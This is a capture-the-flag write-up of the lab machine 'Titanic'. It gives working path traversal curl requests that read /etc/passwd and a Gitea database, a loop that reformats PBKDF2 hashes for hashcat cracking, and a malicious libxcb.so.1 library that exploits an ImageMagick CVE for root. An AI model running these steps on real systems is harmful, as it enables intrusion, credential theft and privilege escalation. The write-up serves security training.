Easy

Titanic [45 pts]

 Challenge Description
Challenge Description
Points: 45
  • discover path traversal on website to recover user flag and gitea database
  • recover user password from gitea database to gain access to box
  • use CVE for ImageMagick in a script running periodically as root to read root flag

Enumeration

Start enumeration with nmap to see, which ports are open on the box.

kali@kali:~/HTB/titanic $ nmap -sC -sV -oA nmap/titanic 10.10.11.55   

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-17 16:41 EST
Nmap scan report for 10.10.11.55
Host is up (0.089s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can see that HTTP server is running on port 80. Also don’t forget to add hostname to /etc/hosts.

sudo sh -c "echo \"10.10.11.55 \t titanic.htb\" >> /etc/hosts"

Let’s check it out. The web application located on the server is for booking trips on the Titanic.

The only thing that appears to be working is booking a trip, so let’s try that.

After clicking on submit two things happen:

  • first is a POST request to /book with booking information

  • this redirects to /download?ticket= followed by ID of the ticket, which looks like a UID

  • it also downloads the ticket as a file, so we can assume that the tickets are stored in the app

First, let’s check if we can access some other files via path traversal in the download request. We can test this by fetching for example /etc/hosts, but since we don’t know in which directory we currently are, we need to append ../ (multiple times) to see, if we can get to the root directory.

kali@kali:~/HTB $ curl http://titanic.htb/download?ticket=../../../../etc/hosts 

127.0.0.1 localhost titanic.htb dev.titanic.htb
127.0.1.1 titanic

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Okay we can fetch /etc/hosts, but we can we fetch user flag? Maybe, but we don’t know the name of the user. However, we can fetch /etc/passwd and look for user with id 1000, which is usually the first ID assigned to legitimate user. In this case, we can find user with username developer.

kali@kali:~/HTB $ curl http://titanic.htb/download?ticket=../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
...
developer:x:1000:1000:developer:/home/developer:/bin/bash
...                                                    

Okay, let’s try to fetch the user flag.

kali@kali:~/HTB $ curl http://titanic.htb/download?ticket=../../../../home/developer/user.txt

08a439c34ad9144e15...

We managed to get the user flag, however we can’t do much else from here, since we don’t have direct access to the box. Let’s try to enumerate for virtual hosts

kali@kali:~/HTB/titanic $ gobuster vhost --append-domain -u http://titanic.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt | grep -v 301

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://titanic.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.titanic.htb Status: 200 [Size: 13982]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

Gitea

We found a virtual host dev.titanic.htb (add it to our /etc/hosts). It’s a Gitea app, which is basically used for managing git repositories. Visit Explore/Flask-app to see, what repositories are available

The second repository is the source code of the titanic web server. For example, we can look for the code part which is vulnerable to path traversal in download endpoint.

@app.route('/download', methods=['GET'])
def download_ticket():
    ticket = request.args.get('ticket')
    if not ticket:
        return jsonify({"error": "Ticket parameter is required"}), 400

    json_filepath = os.path.join(TICKETS_DIR, ticket)
    # ...

When going back to the repository overview, we can see another repository from the developer user.

It contains 2 docker files: mysql and gitea. I also noticed that when searching (using the path traversal in download) for non-existing directory we get a 404

{"error":"Ticket not found"}

but when searching for directory (which exists) we get 500 internal error. Another good idea is to check branches/logs whenever working with git, but it looks empty. When checking out gitea repository, we can see docker-compose.yml with the following contents:

version: '3'

services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional for SSH access
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always

The data directory for the container is mounted from /home/developer/gitea/data. When I first saw this I thought about somehow leaking the gitea users database, which should contain passwords. Now the goal is to find the database file. After a quick search and a little bit of trial and error I managed to fetch gitea configuration file

kali@kali:~/HTB $ curl http://titanic.htb/download?ticket=../../../../home/developer/gitea/data/gitea/conf/app.ini

APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea

[repository]
ROOT = /data/git/repositories

[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo

[repository.upload]
TEMP_PATH = /data/gitea/uploads

[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true

[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD = 
LOG_SQL = false
SCHEMA = 
SSL_MODE = disable

We can see that the database is located at /data/gitea/gitea.db, which is equivalent to ../../../../home/developer/gitea/data/gitea/gitea.db in our path traversal exploit. Let’s download the database so we can query it.

curl http://titanic.htb/download?ticket=../../../../home/developer/gitea/data/gitea/gitea.db > gitea.db

Now that we have the database file, we can query it directly. For example display tables in the database (since there are so many, I will only display some)

kali@kali:~/HTB/titanic $ sqlite3 gitea.db ".tables"

access                     oauth2_grant             
...
language_stat              user                     
...
oauth2_authorization_code  webhook  

We can see that user table exists. Let’s dump its columns (again, only showing a first few and clearing the output abit)

kali@kali:~/HTB/titanic $ sqlite3 gitea.db ".schema user"

CREATE TABLE `user` (
	`id` INTEGER PRIMARY KEY, 
	`lower_name` TEXT, 
	`name` TEXT, 
	`full_name` TEXT, 
	`email` TEXT, 
	`keep_email_private` INTEGER, 
	`email_notifications_preference` TEXT, 
	`passwd` TEXT, 
	`passwd_hash_algo` TEXT, 
	`must_change_password` INTEGER, 
	`login_type` INTEGER, 
	`login_source` INTEGER, 
	`login_name` TEXT, 
	`type` INTEGER, 
	`location` TEXT, 
	`website` TEXT, 
	`rands` TEXT, 
	`salt` TEXT, 
	...
);

After listing all the users I noticed that the algorithm used is pbkdf2. I found HTB: Compiled blog with similar steps (also recovering passwords from gitea), so we can follow it. First, list only developer and administrator users from the table (since there are more accounts from other players)

kali@kali:~/HTB/titanic $ sqlite3 gitea.db "select name, passwd, salt, passwd_hash_algo from user where lower_name = 'developer' or lower_name = 'administrator'" | tee users.gitea

administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|2d149e5fbd1b20cf31db3e3c6a28fc9b|pbkdf2$50000$50
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34|pbkdf2$50000$50

We will be needing name, passwd and salt (i am outputting also password hash algorithm to confirm that we are using pbkdf2). In order to crack the hashes with hashcat, we need to put them into specific format (see blog)

  • the format for hashcat is sha256:iteration:salt:digest format
  • both hash and passwords are in hex, not base64, so we need to take them and convert them
  • put it all together in the correct format
kali@kali:~/HTB/titanic $ for f in $(cat users.gitea); do hash=$(echo $f | cut -d'|' -f2 | xxd -r -p | base64); salt=$(echo $f | cut -d'|' -f3 | xxd -r -p | base64); user=$(echo $f | cut -d"|" -f1); echo -e "$user":sha256:50000:"$salt":"$hash"; done | tee hashes.gitea

administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

Now use hashcat to crack the passwords

hashcat -a 0 --user hashes.gitea /usr/share/wordlists/rockyou.txt.gz

and after a while we get a result

sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528

which enables us to ssh into the box as developer with password 25282528.

Privesc

After running linpeas, I noticed that the web application files for titanic are in /opt/app, but there is also /opt/scripts, which contains unusual file identify_images (owned by root).

cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

This script lists all files ending with *.jpg from /opt/app/static/assets/images and runs /usr/bin/magick identify on them. The results are stored in metadata.log. Fortunately, the /opt/app/static/assets/images has group permissions for writing for group developer, so we can add files into it. For example, we can add test.jpg file and notice, that after some time, the metadada.log file contains our file. This means that the script is running automatically with root privileges. So the idea is to find a vulnerability for the /usr/bin/magick identify command to get either RCE or arbitrary file read.

Luckily, after some googling I found this CVE: Arbitrary Code Execution in AppImage version ImageMagick . It also comes with a simple PoC, we just need to replace the id command with cat /root/root.txt.

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cat /root/root.txt");
    exit(0);
}
EOF

The script creates a library file libxcb.so.1, which when ImageMagick runs, the command gets (somehow) executed. Now if we wait a little bit and print the metadata.log file, we should see root flag.

developer@titanic:/opt/app/static/assets/images $ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cat /root/root.txt");
    exit(0);
}
EOF

developer@titanic:/opt/app/static/assets/images $ ls
entertainment.jpg     favicon.ico  libxcb.so.1        metadata.log
exquisite-dining.jpg  home.jpg     luxury-cabins.jpg

developer@titanic:/opt/app/static/assets/images $ cat metadata.log 
/opt/app/static/assets/images/luxury-cabins.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280817B
/opt/app/static/assets/images/entertainment.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 291864B
/opt/app/static/assets/images/home.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 232842B
/opt/app/static/assets/images/exquisite-dining.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280854B

developer@titanic:/opt/app/static/assets/images $ date
Thu Feb 20 06:08:37 PM UTC 2025

developer@titanic:/opt/app/static/assets/images $ date
Thu Feb 20 06:09:05 PM UTC 2025

developer@titanic:/opt/app/static/assets/images $ cat metadata.log 
325b12626c2cf67e97eb...